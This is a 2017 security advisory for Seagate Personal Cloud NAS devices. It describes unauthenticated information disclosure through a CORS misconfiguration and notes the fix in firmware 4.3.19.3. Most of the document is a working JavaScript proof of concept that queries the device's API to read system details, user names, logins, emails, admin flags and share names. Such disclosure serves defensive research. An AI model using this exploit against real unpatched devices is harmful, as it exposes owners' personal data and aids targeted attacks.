------------------------------------------------------------------------ Seagate Personal Cloud multiple information disclosure vulnerabilities ------------------------------------------------------------------------ Yorick Koster, September 2017 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that the web application used to manage the NAS is affected by various unauthenticated information disclosure vulnerabilities. The device is configured to trust any CORS origin, and is accessible via the personalcloud.local domain name. Due to this it is possible for any website to gain access to this information. While this information doesn't allow an attacker to compromise the NAS, the information can be used to stage more targeted attacks. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. The software is licensed from LACIE, it is very likely that other devices/models are also affected. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ These issues have been mitigated in firmware version 4.3.19.3. The NAS no longer accepts CORS requests from arbitrary sites. A number of endpoints now require the user to be logged in. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2017/seagate-personal-cloud-multiple-information-disclosure-vulnerabilities.html Proof of concept: Proof of concept <!DOCTYPE html> <html> <!-- Get version information --> <script type="text/javascript"> fetch('http://personalcloud.local/api/external/8.0/system.System.get_infos', {method: 'POST', body: '{}'}) .then(function(response) { response.json().then(function(data){ if(data.hasOwnProperty('infos') && data['infos'].hasOwnProperty('__properties__')) { props = data['infos']['__properties__']; vendor = props['vendor_name']; product = props['product']; version = props['version']; serial_number = props['serial_number']; console.log(vendor + ' ' + product + ' ' + version + ' (serial: ' + serial_number + ')'); } }); }) .catch(function(err) { console.log('Error :', err); }); </script> <!-- Get users --> <script type="text/javascript"> fetch('http://personalcloud.local/api/external/8.0/simple_sharing.SimpleSharing.list_users', {method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{}}}}, "with_parameters":{"__type__":"List","__sub_type__":"Unicode","__elements__":{}}} '}) .then(function(response) { response.json().then(function(data){ if(data.hasOwnProperty('user_list') && data['user_list'].hasOwnProperty('__elements__')) { console.log('Users:'); data['user_list']['__elements__'].forEach(function(user) { if(user.hasOwnProperty('__properties__')) { props = user['__properties__']; firstname = props['firstname']; lastname = props['lastname']; login = props['login']; email = props['email']; is_admin = props['is_admin']; is_enabled = props['is_enabled']; console.log(firstname + ' ' + lastname + ' / ' + login + ' / ' + email + ' / admin: ' + is_admin + ' / enabled: ' + is_enabled); } }); } }); }) .catch(function(err) { console.log('Error :', err); }); </script> <!-- Get shares --> <script type="text/javascript"> fetch('http://personalcloud.local/api/external/8.0/nas_authentication.NasAuth.myShares', {method: 'POST', body: '{"list_info":{"__type__":"ListInfo", "__version__":0, "__sub_version__":0, "__properties__":{"limit":-1, "offset":0, "search_parameters":{"__type__":"Dict", "__sub_type__":"Unicode", "__elements__":{"name":""}}, "order":{"__type__":"Ordering", "__version__":0, "__sub_version__":0, "__properties__":{"asc":false, "order_by":"name"}}}}}'}) .then(function(response) { response.json().then(function(data){ if(data.hasOwnProperty('share_through_list') && data['share_through_list'].hasOwnProperty('__elements__')) { console.log('Shares:'); data['share_through_list']['__elements__'].forEach(function(share) { if(share.hasOwnProperty('__properties__')) { props = share['__properties__']; console.log(props['share']['__properties__']['name']); } }); } }); }) .catch(function(err) { console.log('Error :', err); }); </script> </html>